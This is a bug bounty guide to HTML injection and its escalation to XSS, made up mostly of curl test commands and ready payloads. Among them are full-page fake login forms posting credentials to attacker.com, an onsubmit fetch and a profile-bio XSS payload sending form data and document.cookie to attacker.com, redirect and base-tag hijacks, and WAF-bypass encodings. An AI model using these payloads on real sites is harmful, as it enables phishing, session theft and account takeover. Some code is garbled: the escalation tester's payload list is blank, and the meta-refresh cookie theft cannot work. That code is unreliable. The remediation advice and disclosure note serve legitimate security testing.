HTML INJECTION

Bug Bounty Hunting Guide

Reflected | Stored | DOM-Based | Escalation

Defacement | Phishing | Cookie Theft | Keylogging

2025 Edition

Table of Contents

1. Introduction to HTML Injection

HTML Injection occurs when untrusted user input is rendered directly into a web page without proper sanitization or encoding. Unlike XSS which requires JavaScript execution, HTML Injection allows attackers to inject arbitrary HTML markup, enabling defacement, phishing, credential harvesting, and chained attacks that escalate to XSS.

> **HTML Injection vs XSS**
>
> **HTML Injection** injects HTML markup (tags, attributes) that renders in the page. **XSS** injects JavaScript that executes in the victim's browser. HTML Injection often serves as a stepping stone to XSS when event handlers or scriptable attributes are allowed. Even without JavaScript, HTML Injection can be exploited for phishing, UI manipulation, and data theft.

Type	Severity	Impact
Reflected HTML Injection Medium	P3/P4	Phishing via crafted links, defacement
Stored HTML Injection High	P2/P3	Persistent defacement, phishing for all users
DOM-Based HTML Injection High	P2/P3	Client-side rendering bypasses server filters
HTML Injection to Stored XSS Critical	P1/P2	Account takeover, session hijacking
HTML Injection in Email High	P2/P3	Email phishing, credential harvesting

2. Detection Methods

Basic Detection

```
# Test URL parameters for HTML reflection
curl -s "https://target.com/search?q=<b>test</b>" | grep -i "<b>test</b>"

# Test with common HTML tags
curl -s "https://target.com/page?title=<h1>Hacked</h1>" | grep "<h1>Hacked</h1>"
curl -s "https://target.com/page?color=<marquee>test</marquee>" | grep "<marquee>"

# Test form fields
curl -X POST https://target.com/feedback \
  -d "name=<b>test</b>&email=test@test.com" | grep "<b>test</b>"

# Test headers (Referer, User-Agent)
curl -s https://target.com/ \
  -H "Referer: <b>injected</b>" | grep "<b>injected</b>"

# Test cookie values
curl -s https://target.com/ \
  -H "Cookie: pref=<font color=red>test</font>" | grep "color=red"

# Test JSON fields
curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"bio": "<h1>HTML Injection</h1>"}'

# Test with XML
curl -X POST https://target.com/api/comment \
  -H "Content-Type: application/xml" \
  -d '<comment><body><b>test</b></body></comment>'

# Test in different contexts:
# 1. Between tags: <div>INJECTION</div>
# 2. Inside attribute: <div class="INJECTION">
# 3. Inside href: <a href="INJECTION">
# 4. Inside style: <div style="INJECTION">
# 5. Inside script: var x = 'INJECTION';
```

Context-Specific Detection

```
# Between HTML tags
curl -s "https://target.com/?q=<b>bold</b>" | grep "<b>"

# Inside an attribute value
curl -s "https://target.com/?class=<b>test</b>" | grep "class="
# Look for: <div class="<b>test</b>">

# Inside a tag name (rare but possible)
curl -s "https://target.com/?tag=<b" | grep "<b"

# Inside a comment
curl -s "https://target.com/?comment=--><b>test</b><!--" | grep "<b>"

# Inside a textarea
curl -s "https://target.com/?note=</textarea><b>test</b>" | grep "</textarea>"

# Inside a script string
curl -s "https://target.com/?msg=';alert(1);//" | grep "alert"

# Inside a style block
curl -s "https://target.com/?theme=</style><b>test</b>" | grep "</style>"

# Inside a noscript block
curl -s "https://target.com/?data=</noscript><b>test</b>" | grep "</noscript>"

# HTML entity bypass testing
curl -s "https://target.com/?q=%3Cb%3Etest%3C/b%3E" | grep "<b>"
curl -s "https://target.com/?q=&lt;b&gt;test&lt;/b&gt;" | grep "<b>"
# If the application decodes entities, injection works
```

3. Reflected HTML Injection

Reflected HTML Injection occurs when user input is immediately returned in the response without persistent storage. The victim must click a crafted link to trigger the injection.

URL Parameter Injection

```
# Search parameter reflection
curl -s "https://target.com/search?q=<h1>Your Account is Suspended</h1>" | grep "<h1
>"

# Error message reflection
curl -s "https://target.com/error?msg=<div style='color:red;font-size:30px;'>CRITICA
L ERROR</div>" | grep "CRITICAL ERROR"

# Title/heading injection
curl -s "https://target.com/page?title=<h1>Hacked by Attacker</h1>" | grep "<h1>"

# Redirect message injection
curl -s "https://target.com/redirect?to=/home&msg=<h1>Please Login Again</h1>" | gre
p "Please Login Again"

# Form prefill injection (value attribute)
curl -s "https://target.com/login?email=<input type=password name=pass>" | grep "typ
e=password"
# Renders: <input value="<input type=password name=pass>">
```

HTTP Header Injection

```
# Referer-based reflection
curl -s -H "Referer: <b>Suspicious Activity Detected</b>" \
  https://target.com/ | grep "Suspicious Activity"

# User-Agent reflection
curl -s -H "User-Agent: <h1>Your Browser is Outdated</h1>" \
  https://target.com/browser-check | grep "Browser is Outdated"

# Cookie-based reflection
curl -s -H "Cookie: lastpage=<img src=x onerror=alert(1)>" \
  https://target.com/ | grep "img src=x"

# X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: <b>WARNING</b>" \
  https://target.com/ | grep "WARNING"
```

Multi-Parameter Injection

```
# Split payload across multiple parameters
curl -s "https://target.com/page?open=<div style='position:fixed;top:0;left:0;width:
100%;height:100%;background:white;z-index:9999;'>&close=</div>" | grep "position:fix
ed"

# One parameter opens tag, another closes
curl -s "https://target.com/display?before=<table>&content=test&after=</table>" | gr
ep "<table>"

# Parameter pollution for tag completion
curl -s "https://target.com/search?q=<div id='&q=' style='color:red'>Hacked</div>" |
grep "color:red"
```

4. Stored HTML Injection

Stored HTML Injection persists in the application's database and affects all users who view the injected content. This is higher severity than reflected injection because it doesn't require a crafted link.

Common Stored Injection Points

```
# Profile bio/About Me
# Comment sections
# Forum posts
# Product reviews
# Chat messages
# Support tickets
# Admin notes
# File metadata (filename, description)
# Email subjects (if displayed in web UI)
# Notification messages

# Profile bio stored injection test
curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -H "Cookie: session=VALID" \
  -d '{"bio": "<h1>Account Compromised</h1><p>Contact support immediately.</p>"}'

# Verify stored content renders HTML
curl -s https://target.com/user/profile | grep "Account Compromised"

# Comment stored injection
curl -X POST https://target.com/api/comments \
  -H "Content-Type: application/json" \
  -d '{"post_id": "123", "content": "<div style=background:red><h1>ADMIN WARNING</h1
></div>"}'

# Review stored injection
curl -X POST https://target.com/api/reviews \
  -H "Content-Type: application/json" \
  -d '{"product_id": "456", "review": "<marquee><h1>SCAM ALERT</h1></marquee>"}'

# Username stored injection
curl -X POST https://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username": "<b>ADMIN</b>", "email": "test@test.com"}'

# Chat message stored injection
curl -X POST https://target.com/api/messages \
  -H "Content-Type: application/json" \
  -H "Cookie: session=VALID" \
  -d '{"to": "victim", "message": "<h1>System Notification</h1><p>Your password has
expired.</p>"}'

# File upload description stored injection
curl -X POST https://target.com/api/upload \
  -F "file=@photo.jpg" \
  -F "description=<h1>VIRUS DETECTED</h1>"
```

5. DOM-Based HTML Injection

DOM-Based HTML Injection occurs entirely in the browser when JavaScript writes user-controlled input into the DOM without sanitization. Server-side filters do not protect against this.

Common DOM Sinks

```
# innerHTML sink
document.getElementById('output').innerHTML = location.hash.slice(1);
# Payload: #<h1>Hacked</h1>

# outerHTML sink
document.querySelector('.user-input').outerHTML = userInput;

# insertAdjacentHTML sink
element.insertAdjacentHTML('beforeend', userInput);

# document.write sink
document.write('<div>' + urlParams.message + '</div>');

# jQuery html() sink
$('#output').html(location.search);

# AngularJS ng-bind-html
# <div ng-bind-html="userInput"></div>

# React dangerouslySetInnerHTML
# <div dangerouslySetInnerHTML={{__html: userInput}} />

# Vue v-html directive
# <div v-html="userInput"></div>

# location.hash DOM injection test:
# https://target.com/page#<h1>Injected</h1>

# location.search DOM injection test:
# https://target.com/page?msg=<h1>Injected</h1>

# postMessage DOM injection:
window.addEventListener('message', function(e) {
  document.getElementById('banner').innerHTML = e.data;
});
# Send message from attacker page:
# targetWindow.postMessage('<h1>Hacked</h1>', '*');
```

DOM-Based Detection

```
# Check for hash-based DOM injection
curl -s "https://target.com/app#<b>test</b>" | grep "<b>test</b>"
# Note: server won't see hash, check browser DevTools

# Check for search-based DOM injection
curl -s "https://target.com/app?display=<b>test</b>" | grep "<b>test</b>"

# Check JavaScript for sinks
# In browser console:
grep -r "innerHTML\|outerHTML\|insertAdjacentHTML\|document.write\|\.html(\|dangerou
slySetInnerHTML\|v-html\|ng-bind-html" app.js

# Using LinkFinder to find JS files, then grep for sinks:
echo "target.com" | getJS | while read js; do
  echo "=== $js ==="
  curl -s "$js" | grep -oE "(innerHTML|outerHTML|insertAdjacentHTML|document\.writ
e)" | sort | uniq -c
done
```

6. Advanced Exploitation

6.1 Defacement

```
# Full page overlay defacement
<h1 style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-ind
ex:99999;padding:50px;">
  <center>
    <h1 style="color:red;">THIS SITE HAS BEEN HACKED</h1>
    <p>By Attacker - Contact security@example.com</p>
  </center>
</h1>

# Partial defacement - replace specific elements
<div style="position:absolute;top:0;left:0;width:100%;height:100px;background:#d32f2
f;color:white;text-align:center;line-height:100px;font-size:30px;">
  SECURITY BREACH - DO NOT ENTER CREDENTIALS
</div>

# Redirect overlay (appears to be the real site but isn't)
<iframe src="https://attacker.com/fake-site" style="position:fixed;top:0;left:0;widt
h:100%;height:100%;z-index:99999;border:none;"></iframe>
```

6.2 Fake Login Forms

```
# Overlay fake login form on real page
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(255,2
55,255,0.95);z-index:99998;display:flex;align-items:center;justify-content:center;">
  <div style="background:white;padding:40px;border:1px solid #ddd;box-shadow:0 4px 2
0px rgba(0,0,0,0.15);width:400px;">
    <h2 style="margin-top:0;">Session Expired</h2>
    <p>Please login again to continue</p>
    <form action="https://attacker.com/collect" method="POST">
      <input type="email" name="email" placeholder="Email" style="width:100%;paddin
g:10px;margin-bottom:10px;">
      <input type="password" name="password" placeholder="Password" style="width:10
0%;padding:10px;margin-bottom:10px;">
      <button type="submit" style="width:100%;padding:10px;background:#1976d2;color:
white;border:none;">Login</button>
    </form>
  </div>
</div>

# Inline fake form injection
<div style="border:2px solid red;padding:20px;margin:20px;">
  <h3>Security Alert - Re-authentication Required</h3>
  <form onsubmit="fetch('https://attacker.com/steal',{method:'POST',body:new FormDat
a(this)});return false;">
    <input type="text" name="user" placeholder="Username">
    <input type="password" name="pass" placeholder="Password">
    <button>Verify Identity</button>
  </form>
</div>
```

6.3 Cookie & Token Theft

```
# Meta refresh token theft (no JavaScript needed)
<meta http-equiv="refresh" content="0;url=https://attacker.com/steal?cookie=documen
t.cookie">

# Image tag for cookie exfiltration (if cookies are in URL)
<img src="https://attacker.com/log?cookie=" width="1" height="1">

# Form auto-submit to steal data
<form id="steal" action="https://attacker.com/collect" method="POST">
  <input type="hidden" name="data" value="stolen_info">
</form>
<script>document.getElementById('steal').submit();</script>

# CSS-based token extraction (theoretical, very limited)
# @import url with token as parameter
# Not practical but worth testing
```

6.4 Keylogging

```
# Form action hijacking via HTML injection
# Inject a form that captures input and sends to attacker

<form action="https://attacker.com/keylog" method="POST" id="logger">
  <input type="hidden" name="keys" id="keydata">
</form>

# If JavaScript event handlers are blocked but we can inject a form,
# we can use the form's onsubmit or use a meta refresh to periodically submit

# If the application allows iframes in HTML injection:
<iframe src="https://attacker.com/keylogger" style="width:1px;height:1px;"></iframe>
```

6.5 Redirect Hijacking

```
# Meta refresh redirect
<meta http-equiv="refresh" content="0;url=https://attacker.com/phishing">

# Base tag hijacking (changes all relative URLs)
<base href="https://attacker.com/">

# Form action hijacking
<form action="https://attacker.com/collect" method="POST">
  <!-- Form fields mirror the real form -->
</form>

# Anchor tag hijacking
<a href="https://attacker.com/fake-login" style="display:block;padding:20px;backgrou
nd:red;color:white;text-align:center;">
  Click here to verify your account
</a>
```

6.6 HTML to XSS Escalation

```
# Test if HTML injection allows event handlers
curl -s "https://target.com/page?msg=<img src=x onerror=alert(1)>" | grep "img src"

# If event handlers are blocked, try other vectors:
# SVG with foreignObject
curl -s "https://target.com/page?msg=<svg><foreignObject><body onload=alert(1)></bod
y></foreignObject></svg>"

# MathML with href
curl -s "https://target.com/page?msg=<math><mtext><table><mglyph><style><img src=x o
nerror=alert(1)>"

# Audio/Video tags with onerror
curl -s "https://target.com/page?msg=<audio src=x onerror=alert(1)>"
curl -s "https://target.com/page?msg=<video src=x onerror=alert(1)>"

# Details/summary with ontoggle
curl -s "https://target.com/page?msg=<details open ontoggle=alert(1)><summary>test</
summary></details>"

# Input with onfocus + autofocus
curl -s "https://target.com/page?msg=<input onfocus=alert(1) autofocus>"

# Select with onchange
curl -s "https://target.com/page?msg=<select onchange=alert(1)><option>a</option><op
tion>b</option></select>"

# iframe with javascript: src
curl -s "https://target.com/page?msg=<iframe src=javascript:alert(1)>"

# object with data attribute
curl -s "https://target.com/page?msg=<object data=javascript:alert(1)>"

# embed with src attribute
curl -s "https://target.com/page?msg=<embed src=javascript:alert(1)>"

# Form with formaction
curl -s "https://target.com/page?msg=<button formaction=javascript:alert(1)>Click</b
utton>"

# Marquee with onstart/onfinish (Firefox)
curl -s "https://target.com/page?msg=<marquee onstart=alert(1)>test</marquee>"

# Body with onload
curl -s "https://target.com/page?msg=<body onload=alert(1)>"

# Frameset with onload
curl -s "https://target.com/page?msg=<frameset onload=alert(1)><frame src=about:blan
k></frameset>"

# Table background with javascript: URI (old IE)
```

7. WAF Bypass Techniques

```
# Case variation bypass
curl -s "https://target.com/page?msg=<IMG SRC=X ONERROR=ALERT(1)>"
curl -s "https://target.com/page?msg=<Img sRc=x oNeRrOr=alert(1)>"

# Encoding bypass
curl -s "https://target.com/page?msg=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E"
curl -s "https://target.com/page?msg=<img%20src%3dx%20onerror%3dalert(1)>"

# Double encoding
curl -s "https://target.com/page?msg=%253Cimg%2520src%253Dx%2520onerror%253Dalert%25
281%2529%253E"

# HTML entities bypass
curl -s "https://target.com/page?msg=<img src=x onerror=&#x61;lert(1)>"
curl -s "https://target.com/page?msg=<img src=x onerror=&#97;lert(1)>"

# Null byte injection (older systems)
curl -s "https://target.com/page?msg=<img%00src=x%00onerror=alert(1)>"

# Tab/space/newline breaking
curl -s "https://target.com/page?msg=<img%09src=x%09onerror=alert(1)>"
curl -s "https://target.com/page?msg=<img%0asrc=x%0aonerror=alert(1)>"

# Protocol-relative and data URI
curl -s "https://target.com/page?msg=<iframe src=//attacker.com/keylogger>"
curl -s "https://target.com/page?msg=<img src=data:image/svg+xml,<svg xmlns='http://
www.w3.org/2000/svg' onload='alert(1)'/>"

# SVG with encoded content
curl -s "https://target.com/page?msg=<svg/onload=alert(1)>"
curl -s "https://target.com/page?msg=<svg%20onload=alert(1)>"

# Template literal bypass (if innerHTML is used)
curl -s "https://target.com/page?msg=<img src=x onerror=\`alert(1)\`>"

# Unicode normalization
curl -s "https://target.com/page?msg=<img%EF%BC%9E%EF%BC%9Csrc=x%EF%BC%9E%EF%BC%9Con
error=alert(1)%EF%BC%9E%EF%BC%9C"
# Uses full-width Unicode characters that normalize to <>

# Comments inside tags to break filters
curl -s "https://target.com/page?msg=<img src=x onerror=alert(1)//>"
curl -s "https://target.com/page?msg=<img src=x onerror=alert(1)/*-->"
```

8. Tools & Automation

Tool	Purpose	Usage
curl	Manual injection testing	`curl -s "URL?param=<b>test</b>"`
Burp Suite	Proxy, Repeater, Intruder	Match/replace for HTML injection
OWASP ZAP	Automated scanner	Active scan for HTML injection
dalfox	XSS finder (finds HTML sinks)	`dalfox url "https://target.com"`
XSStrike	XSS detection	`xsstrike -u "https://target.com"`
ffuf	Fuzz parameters	`ffuf -u URL -w payloads.txt`
httpx	Response analysis	`httpx -mr "<h1>"`
nuclei	Template scanning	`nuclei -u target.com -t xss*`
kxss	Reflected parameter finder	`cat urls | kxss`

9. One-Liners

Mass HTML Injection Detection

```
# Find reflected parameters and test HTML injection
cat urls.txt | kxss | grep "Reflection" | awk '{print $1}' | \
  while read url; do
    test_url=$(echo "$url" | sed 's/=\(.*\)/=HTML_INJECTION_TEST<\/b>/')
    resp=$(curl -s --max-time 10 "$test_url" 2>/dev/null)
    if echo "$resp" | grep -qi "HTML_INJECTION_TEST"; then
      echo "[!] HTML Injection: $test_url"
    fi
  done | tee html_injection_finds.txt
```

Active kxss curl

Stored HTML Injection Scanner

```
# Test all POST endpoints for stored HTML injection
cat endpoints.txt | while read endpoint; do
  for param in bio description comment message content body text note title; do
    resp=$(curl -s -X POST "$endpoint" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -H "Cookie: session=VALID" \
      -d "${param}=STORED_HTML_TEST" 2>/dev/null)
    if echo "$resp" | grep -qi "STORED_HTML_TEST"; then
      echo "[!] Stored HTML: $endpoint param=$param"
    fi
  done
done
```

Active bash

DOM-Based HTML Injection Detection

```
# Find JS sinks in target JavaScript
echo "target.com" | getJS | while read js; do
  echo "=== $js ==="
  curl -s "$js" | grep -oE "(innerHTML|outerHTML|insertAdjacentHTML|document\.wr
ite|\.html\(|dangerouslySetInnerHTML|v-html|ng-bind-html)" | sort | uniq -c
done

# Test hash-based DOM injection in browser:
# https://target.com/app#
DOM_TEST


# Check DevTools Elements tab for rendered HTML
```

Passive getJS

HTML to XSS Escalation Tester

```bash
# Test all event handlers on a vulnerable parameter
for payload in "" \







               "                                          " \
               "
                                  test
"; do
  encoded=$(echo "$payload" | python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.stdin.read().strip()))")
  resp=$(curl -s "https://target.com/page?msg=${encoded}" 2>/dev/null)
  if echo "$resp" | grep -qoi "alert(1)"; then
    echo "[!] XSS via: $payload"
  fi
done
```

Active bash

10. Report Templates

Report Template: Reflected HTML Injection

```
Title:    Reflected HTML Injection on Search Endpoint
Severity: Medium (P3)
Endpoint: https://target.com/search?q=<payload>

Summary:
The search endpoint reflects user input without HTML encoding,
allowing attackers to inject arbitrary HTML markup. This can be
used for phishing, defacement, and UI manipulation.

Steps to Reproduce:
1. Visit: https://target.com/search?q=<h1>Account Suspended</h1>
2. Observe the injected HTML renders on the page
3. The heading "Account Suspended" appears as real page content

Impact:
- Phishing attacks via crafted URLs
- Defacement of page content
- Social engineering under trusted domain
- Potential escalation to XSS if event handlers are allowed

Remediation:
1. HTML-encode all user input before rendering:
   < → &lt;
   > → &gt;
   " → &quot;
   ' → &#x27;
2. Use a templating engine with auto-escaping (Jinja2, Razor)
3. Implement Content Security Policy
4. Validate and sanitize input on both client and server

CVSS:     6.1 (Medium)
```

Report Template: Stored HTML Injection

```
Title:    Stored HTML Injection in User Profile Bio
Severity: High (P2)
Endpoint: https://target.com/api/profile (POST) / https://target.com/user/:id (G
ET)

Summary:
The user profile bio field accepts and stores HTML content without
sanitization. When other users view the profile, the injected HTML
renders in their browser, enabling persistent phishing and
defacement for all visitors.

Steps to Reproduce:
1. POST to update bio:
   curl -X POST https://target.com/api/profile \
     -H "Cookie: session=VALID" \
     -d '{"bio": "<div style=position:fixed;top:0;left:0;width:100%;height:100%;
background:red;z-index:99999;><h1>HACKED</h1></div>"}'

2. Visit profile page: https://target.com/user/attacker-id
3. Full-screen defacement appears for ALL visitors

Impact:
- Persistent defacement affecting all users
- Phishing via fake login forms in profiles
- Reputation damage
- Trust erosion
- Chainable to XSS if event handlers allowed

Remediation:
1. Strip HTML tags or use a whitelist (DOMPurify)
2. Convert to plain text before storage
3. Use Markdown with sanitized rendering
4. Validate output encoding in all contexts

CVSS:     7.1 (High)
```

Report Template: DOM-Based HTML Injection

```
Title:    DOM-Based HTML Injection via URL Fragment
Severity: High (P2)
Endpoint: https://target.com/app#<payload>

Summary:
The single-page application reads URL fragment (location.hash) and
writes it to the DOM using innerHTML without sanitization. Since
the fragment is not sent to the server, server-side filters do not
protect against this vulnerability.

Steps to Reproduce:
1. Visit: https://target.com/app#<h1>Injected</h1>
2. Open browser DevTools and inspect the DOM
3. Observe <h1>Injected</h1> rendered in the page

4. Escalate to fake login form:
   https://target.com/app#<div style=position:fixed;top:0;left:0;width:100%;heig
ht:100%;background:white;z-index:99999;><h2>Session Expired</h2><form action=htt
ps://attacker.com><input placeholder=email><input type=password placeholder=pass
word><button>Login</button></form></div>

Impact:
- Client-side phishing via shared links
- Credential harvesting
- UI manipulation
- All server-side protections bypassed

Remediation:
1. Use textContent instead of innerHTML for user input
2. If HTML is needed, use DOMPurify to sanitize
3. Validate and whitelist allowed tags
4. Implement CSP to mitigate impact

CVSS:  7.1 (High)
```

Report Template: HTML Injection Escalated to XSS

```
Title:    Stored HTML Injection Escalated to XSS via Profile Bio
Severity: Critical (P1)
Endpoint: https://target.com/api/profile

Summary:
The profile bio field allows stored HTML injection. Further testing
revealed that event handlers are not filtered, allowing stored XSS
that executes in every visitor's browser.

Steps to Reproduce:
1. POST malicious bio:
   curl -X POST https://target.com/api/profile \
     -H "Cookie: session=VALID" \
     -d '{"bio": "<img src=x onerror=fetch(\x27https://attacker.com/?c=\x27+docu
ment.cookie)>"}'

2. Any user viewing the profile has their session cookie stolen
3. Attacker receives cookie at https://attacker.com/

Impact:
- Session hijacking for all profile visitors
- Account takeover
- Persistent XSS affecting all users
- Potential for worm-like propagation

Remediation:
1. Use DOMPurify with strict config (no event handlers)
2. Output encode: < → &lt; > → &gt;
3. Use textContent instead of innerHTML
4. Implement strict CSP: script-src 'self'
5. Use HttpOnly, Secure, SameSite cookies

CVSS: 9.6 (Critical)
```

11. Tips & Tricks

> **Tip 1: Test All Output Contexts**
>
> **HTML injection behaves differently depending on context: between tags, inside attributes, inside URLs, inside style blocks, inside scripts, inside comments. Always test all contexts for comprehensive coverage.**

Tip 2: Look for InnerHTML in JavaScript

DOM-based HTML injection is invisible to server-side scanners. Always grep for innerHTML, outerHTML, insertAdjacentHTML, jQuery html(), and dangerouslySetInnerHTML in JavaScript files.

Tip 3: Escalate Every HTML Injection to XSS

Even if basic tags work, always test event handlers. An HTML injection that allows <img onerror> is stored XSS - a Critical finding. Don't stop at "just HTML."

Tip 4: Check Email and PDF Rendering

Some applications send user input in emails or generate PDFs. HTML in email subjects/bodies or PDF templates can enable phishing outside the web application.

Tip 5: Test After Every Encoding Layer

If input is URL-decoded, then HTML-decoded, then rendered, you may need double-encoded payloads. Test: %253C (URL-encoded <), < (HTML entity), Unicode variants.

Tip 6: Stored Injection Affects More Users

Reflected HTML injection requires a victim to click a link. Stored injection affects every user who views the content. Always prioritize finding stored injection points - they yield higher bounties.

Tip 7: Create Convincing PoCs

A fake login form or security alert overlay is far more impactful than a bold heading. Create realistic phishing PoCs to demonstrate real-world impact to triagers.

Tip 8: Check Mobile App WebViews

Mobile apps often use WebView to display web content. If the app displays user-generated content without sanitization, HTML injection in the app can have wider impact than browser-only exploitation.

Responsible Disclosure

When demonstrating stored HTML injection, inject only on your own test account. Never inject content that other users will see before the report is acknowledged. If you must demonstrate stored impact, use obvious test markers like TEST-HTML-INJECTION rather than realistic phishing content.

Resource	URL
OWASP HTML Injection	https://owasp.org/www-community/attacks/HTML_Injection
PortSwigger XSS	https://portswigger.net/web-security/cross-site-scripting
DOMPurify	https://github.com/cure53/DOMPurify
HTML5 Security Cheatsheet	https://html5sec.org/
PayloadAllTheThings	https://github.com/swisskyrepo/PayloadsAllTheThings
XSS Hunter	https://xsshunter.com/